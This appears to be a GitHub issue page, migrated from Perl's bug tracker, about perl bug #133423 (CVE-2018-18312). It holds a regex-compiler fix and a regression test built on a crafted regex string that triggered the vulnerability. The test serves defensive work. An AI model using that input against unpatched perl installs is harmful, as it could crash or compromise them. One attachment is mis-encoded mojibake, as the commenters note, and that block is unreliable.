 ## Key-value pairs of code/error of code that should have fatal errors.
 ##
@@ -290,6 +292,8 @@ my @death =
  '/(?xmsixp)abc/' => "",
  '/(?xxxx:abc)/' => "",
  '/(?<=/' => 'Sequence (?... not terminated {#} m/(?<={#}/',                        # [perl #128170]
+ "/$bug133423/" => "Operand with no preceding operator {#} m/(?[(?^:(?[\\�]))\\{#}]�|2[^^]\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80])R.\\670/",
+
 
 );
 
-- 
2.17.1

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Oct 2, 2018

From @tonycoz

On Mon, 24 Sep 2018 11​:01​:56 -0700, public@​khwilliamson.com wrote​:

On 09/19/2018 06​:28 PM, Tony Cook via RT wrote​:

Could you please make patches against blead/maint-5.28/maint-5.26 for
this?

Attached

Do you have a similar patch for blead?

I managed to forward-port the 5.28 patch, but the error message isn't matching in the test, I don't know if that's due to some other change or not.

Tony

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Oct 2, 2018

From @khwilliamson

On 10/01/2018 10​:35 PM, Tony Cook via RT wrote​:

On Mon, 24 Sep 2018 11​:01​:56 -0700, public@​khwilliamson.com wrote​:

On 09/19/2018 06​:28 PM, Tony Cook via RT wrote​:

Could you please make patches against blead/maint-5.28/maint-5.26 for
this?

Attached

Do you have a similar patch for blead?

I managed to forward-port the 5.28 patch, but the error message isn't matching in the test, I don't know if that's due to some other change or not.

I don't know why that would be. Attached is a blead patch that passes
all tests. I don't know how to keep it from getting garbled.

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Oct 2, 2018

From @khwilliamson

0001-PATCH-perl-133423.patch
䙲潭⁥搶愹攸昱㤶挵晡㥢㤱㔹攱愷㔳㐳㙣㄰㜱㕤㑦㐠䵯渠卥瀠ㄷ‰〺〰㨰〠㈰〱੆牯洺⁋慲氠坩汬楡浳潮‼歨着捰慮⹯牧㸊䑡瑥㨠䵯測′㐠卥瀠㈰ㄸ‱ㄺㄶ㨱㐠ⴰ㘰《卵扪散琺⁛偁呃䡝⁐䅔䍈㨠孰敲氠⌱㌳㐲㍝ਊⴭⴊ⁲敧捯浰⹣†††⁼‱‭ਠ琯牥⽲敧彭敳朮琠簠㌠⬫⬊′⁦楬敳⁣桡湧敤Ⱐ㌠楮獥牴楯湳⠫⤬‱⁤敬整楯渨⴩ਊ摩晦‭ⵧ楴⁡⽲敧捯浰⹣⁢⽲敧捯浰⹣੩湤數⁢㌰㍣㘲㠴愮⸱㡤扦ㅣ㌰㤠㄰〶㐴ਭⴭ⁡⽲敧捯浰⹣ਫ⬫⁢⽲敧捯浰⹣ੀ䀠ⴱ㔶ㄵⰷ‫ㄵ㘱㔬㘠䁀⁲敤潟捵牣桡爺ਠ††††††††††楦
啃䡁剁吨剅硃彰慲獥⤠ℽ‧⤧⤊††††††††††††⁶䙁䥌⠢䕸灥捴楮朠捬潳攠灡牥渠景爠睲慰灥爠景爠湥獴敤⁥硴敮摥搠捨慲捬慳猢⤻ਠਭ††††††††††剅硃彰慲獥⬫㬊††††††††††⁒䕸䍟晬慧猠㴠獡癥彦污杳㬊††††††††††⁧潴漠桡湤汥彯灥牡湤㬊††††††††⁽੤楦映ⴭ杩琠愯琯牥⽲敧彭敳朮琠戯琯牥⽲敧彭敳朮琊楮摥砠㌶戶㜴㜴㙦⸮愸㐳㤴愰愷‱〰㘴㐊ⴭⴠ愯琯牥⽲敧彭敳朮琊⬫⬠戯琯牥⽲敧彭敳朮琊䁀‭ㄲ㈬㘠⬱㈲ⰸ⁀䀠浹․瑡扟桥砠㴠獰物湴映∥〲堢Ⱐ潲搨≜琢⤻ਠ⌊‣⁔桥⁦楲獴⁳整⁡牥⁴桯獥⁴桡琠獨潵汤⁢攠晡瑡氠敲牯牳⸊ ⭭礠③畧ㄳ㌴㈳‽•⠿嬨㽞㨨㽛屜屸〰崩⥜屝屸〰簲孞幝屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰屸㠰崩刮屜㘷〢㬊⬊礠䁤敡瑨‽ਠ⠊†✯孛㵦潯㵝崯✠㴾‧偏卉堠獹湴慸⁛㴠㵝⁩猠牥獥牶敤⁦潲⁦畴畲攠數瑥湳楯湳⁻⍽⽛嬽景漽嵻⍽崯✬ੀ䀠ⴳ㄰ⰶ‫㌱㈬㜠䁀礠䁤敡瑨‽ਠ‧⽜灻䱡瑩湽第㐠累✠㴾‧啮敳捡灥搠汥晴⁢牡捥⁩渠牥来砠楳⁩汬敧慬⁨敲攠笣素洯屰筌慴楮絻笣紬㐠累✬ਠ‧⼨㼼㴯✠㴾‧卥煵敮捥
㼮⸮潴⁴敲浩湡瑥搠笣素洯⠿㰽笣累✬††††††††††††⌠孰敲氠⌱㈸ㄷそਠ‧⽜灻癥牴楣慬​⁴慢累✠㴾‧䍡湜❴⁦楮搠啮楣潤攠灲潰敲瑹⁤敦楮楴楯渠≶敲瑩捡氠ଠ瑡戢⁻⍽⽜屰筶敲瑩捡氠ଠ瑡扽笣累✬‣⁛灥牬‣ㄳ㈰㔵崊⬠∯③畧ㄳ㌴㈳⼢‽㸠≏灥牡湤⁷楴栠湯⁰牥捥摩湧灥牡瑯爠笣素洯⠿嬨㽞㨨㽛屜]⤩屜笣絝|㉛幞嵜砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸ぜ砸そ⥒⹜尶㜰⼢Ⰺ 
㬊 ⴭ ㈮ㄷ⸱ਊ
@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Oct 8, 2018

From @tonycoz

On Tue, 02 Oct 2018 06​:34​:41 -0700, public@​khwilliamson.com wrote​:

On 10/01/2018 10​:35 PM, Tony Cook via RT wrote​:

I managed to forward-port the 5.28 patch, but the error message isn't
matching in the test, I don't know if that's due to some other change
or not.

I don't know why that would be. Attached is a blead patch that passes
all tests. I don't know how to keep it from getting garbled.

I think it might have been because I was copying and pasting from the patch in the browser rather than from the file.

And the new patch was garbled too - I see a bunch of chinese characters when I view it in the browser (which thinks it's UTF-8.)

If I dump the bytes I see​:

00000000 e4 99 b2 e6 bd ad e2 81 a5 e6 90 b6 e6 84 b9 e6 |................|
00000010 94 b8 e6 98 b1 e3 a4 b6 e6 8c b5 e6 99 a1 e3 a5 |................|
00000020 a2 e3 a4 b1 e3 94 b9 e6 94 b1 e6 84 b7 e3 94 b3 |................|
00000030 e3 90 b3 e3 99 a3 e3 84 b0 e3 9c b1 e3 95 a4 e3 |................|
00000040 91 a6 e3 90 a0 e4 b5 af e6 b8 a0 e5 8d a5 e7 80 |................|
00000050 a0 e3 84 b7 e2 80 b0 e3 80 ba e3 80 b0 e3 a8 b0 |................|
00000060 e3 80 a0 e3 88 b0 e3 80 b1 e0 a9 86 e7 89 af e6 |................|

at the start.

I've attached the copy that came via email, to ensure we have a readable copy on the ticket.

Tony

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Oct 8, 2018

From @tonycoz

0001-PATCH-perl-133423.patch
From ed6a9e8f196c5fa9b9159e1a753436c10715d4f4 Mon Sep 17 00:00:00 2001
From: Karl Williamson <khw@cpan.org>
Date: Mon, 24 Sep 2018 11:16:14 -0600
Subject: [PATCH] PATCH: [perl #133423]

---
 regcomp.c       | 1 -
 t/re/reg_mesg.t | 3 +++
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/regcomp.c b/regcomp.c
index b303c6284a..18dbf1c309 100644
--- a/regcomp.c
+++ b/regcomp.c
@@ -15615,7 +15615,6 @@ redo_curchar:
                     if (UCHARAT(RExC_parse) != ')')
                         vFAIL("Expecting close paren for wrapper for nested extended charclass");
 
-                    RExC_parse++;
                     RExC_flags = save_flags;
                     goto handle_operand;
                 }
diff --git a/t/re/reg_mesg.t b/t/re/reg_mesg.t
index 36b674746f..a84394a0a7 100644
--- a/t/re/reg_mesg.t
+++ b/t/re/reg_mesg.t
@@ -122,6 +122,8 @@ my $tab_hex = sprintf "%02X", ord("\t");
 #
 # The first set are those that should be fatal errors.
 
+my $bug133423 = "(?[(?^:(?[\\\x00]))\\]\x00|2[^^]\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80])R.\\670";
+
 my @death =
 (
  '/[[=foo=]]/' => 'POSIX syntax [= =] is reserved for future extensions {#} m/[[=foo=]{#}]/',
@@ -310,6 +312,7 @@ my @death =
  '/\p{Latin}{,4 }/' => 'Unescaped left brace in regex is illegal here {#} m/\p{Latin}{{#},4 }/',
  '/(?<=/' => 'Sequence (?... not terminated {#} m/(?<={#}/',                        # [perl #128170]
  '/\p{vertical � tab}/' => 'Can\'t find Unicode property definition "vertical � tab" {#} m/\\p{vertical � tab}{#}/', # [perl #132055]
+ "/$bug133423/" => "Operand with no preceding operator {#} m/(?[(?^:(?[\\�]))\\{#}]�|2[^^]\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80])R.\\670/",
 
 );
 
-- 
2.17.1

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Oct 8, 2018

From @tonycoz

On Sun, Oct 07, 2018 at 05​:44​:57PM -0700, Tony Cook via RT wrote​:

I've attached the copy that came via email, to ensure we have a readable copy on the ticket.

Trying via email to see if it happens for me too.

Tony

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Oct 8, 2018

From @tonycoz

0001-PATCH-perl-133423.patch
From ed6a9e8f196c5fa9b9159e1a753436c10715d4f4 Mon Sep 17 00:00:00 2001
From: Karl Williamson <khw@cpan.org>
Date: Mon, 24 Sep 2018 11:16:14 -0600
Subject: [PATCH] PATCH: [perl #133423]

---
 regcomp.c       | 1 -
 t/re/reg_mesg.t | 3 +++
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/regcomp.c b/regcomp.c
index b303c6284a..18dbf1c309 100644
--- a/regcomp.c
+++ b/regcomp.c
@@ -15615,7 +15615,6 @@ redo_curchar:
                     if (UCHARAT(RExC_parse) != ')')
                         vFAIL("Expecting close paren for wrapper for nested extended charclass");
 
-                    RExC_parse++;
                     RExC_flags = save_flags;
                     goto handle_operand;
                 }
diff --git a/t/re/reg_mesg.t b/t/re/reg_mesg.t
index 36b674746f..a84394a0a7 100644
--- a/t/re/reg_mesg.t
+++ b/t/re/reg_mesg.t
@@ -122,6 +122,8 @@ my $tab_hex = sprintf "%02X", ord("\t");
 #
 # The first set are those that should be fatal errors.
 
+my $bug133423 = "(?[(?^:(?[\\\x00]))\\]\x00|2[^^]\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80])R.\\670";
+
 my @death =
 (
  '/[[=foo=]]/' => 'POSIX syntax [= =] is reserved for future extensions {#} m/[[=foo=]{#}]/',
@@ -310,6 +312,7 @@ my @death =
  '/\p{Latin}{,4 }/' => 'Unescaped left brace in regex is illegal here {#} m/\p{Latin}{{#},4 }/',
  '/(?<=/' => 'Sequence (?... not terminated {#} m/(?<={#}/',                        # [perl #128170]
  '/\p{vertical � tab}/' => 'Can\'t find Unicode property definition "vertical � tab" {#} m/\\p{vertical � tab}{#}/', # [perl #132055]
+ "/$bug133423/" => "Operand with no preceding operator {#} m/(?[(?^:(?[\\�]))\\{#}]�|2[^^]\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80\x80])R.\\670/",
 
 );
 
-- 
2.17.1

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Oct 15, 2018

From @tonycoz

On Sun, 23 Sep 2018 23​:41​:05 -0700, tonyc wrote​:

I plan to request a CVE ID for this issue in the next couple of days.

This is CVE-2018-18312.

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Oct 21, 2018

From @tonycoz

On Tue, 02 Oct 2018 06​:34​:41 -0700, public@​khwilliamson.com wrote​:

On 10/01/2018 10​:35 PM, Tony Cook via RT wrote​:

On Mon, 24 Sep 2018 11​:01​:56 -0700, public@​khwilliamson.com wrote​:

On 09/19/2018 06​:28 PM, Tony Cook via RT wrote​:

Could you please make patches against blead/maint-5.28/maint-5.26
for
this?

Attached

Do you have a similar patch for blead?

I managed to forward-port the 5.28 patch, but the error message isn't
matching in the test, I don't know if that's due to some other change
or not.

I don't know why that would be. Attached is a blead patch that passes
all tests. I don't know how to keep it from getting garbled.

For anyone following along, the blead patch is no longer relevant, due to the sizing pass removal (maint will still need their patches applied.)

Tony

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Oct 21, 2018

From @khwilliamson

On Sat, 20 Oct 2018 20​:52​:49 -0700, tonyc wrote​:

On Tue, 02 Oct 2018 06​:34​:41 -0700, public@​khwilliamson.com wrote​:

On 10/01/2018 10​:35 PM, Tony Cook via RT wrote​:

On Mon, 24 Sep 2018 11​:01​:56 -0700, public@​khwilliamson.com wrote​:

On 09/19/2018 06​:28 PM, Tony Cook via RT wrote​:

Could you please make patches against blead/maint-5.28/maint-5.26
for
this?

Attached

Do you have a similar patch for blead?

I managed to forward-port the 5.28 patch, but the error message
isn't
matching in the test, I don't know if that's due to some other
change
or not.

I don't know why that would be. Attached is a blead patch that
passes
all tests. I don't know how to keep it from getting garbled.

For anyone following along, the blead patch is no longer relevant, due
to the sizing pass removal (maint will still need their patches
applied.)

Tony

Actually the blead patch is relevant to fixing a bug; it's just that it is no longer a security threat. I'll wait to apply the patch, and other relevant ones until the maintenance releases are done.

Removing the sizing pass should remove this entire class of errors from being security issues.
--
Karl Williamson

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Nov 29, 2018

From @steve-m-hay

Moved to public queue with the release of 5.26.3 and 5.28.1.
Blead commit is 4db502b.

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Nov 29, 2018

From [Unknown Contact. See original ticket]

Moved to public queue with the release of 5.26.3 and 5.28.1.
Blead commit is 4db502b.

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Dec 2, 2018

From @khwilliamson

Now fixed. Note that this actually got fixed in as a security issue in blead earlier than the commit listed
by the commits that removed the sizing pass in regex compilation. The final commit listed in this ticket removed the underlying issue and added a test
--
Karl Williamson

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented Dec 2, 2018

@khwilliamson - Status changed from 'open' to 'pending release'

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented May 22, 2019

From @khwilliamson

Thank you for filing this report. You have helped make Perl better.

With the release today of Perl 5.30.0, this and 160 other issues have been
resolved.

Perl 5.30.0 may be downloaded via​:
https://metacpan.org/release/XSAWYERX/perl-5.30.0

If you find that the problem persists, feel free to reopen this ticket.

@p5pRT

This comment has been minimized.

Copy link
Collaborator Author

@p5pRT p5pRT commented May 22, 2019

@khwilliamson - Status changed from 'pending release' to 'resolved'

@p5pRT p5pRT closed this May 22, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
1 participant
You can’t perform that action at this time.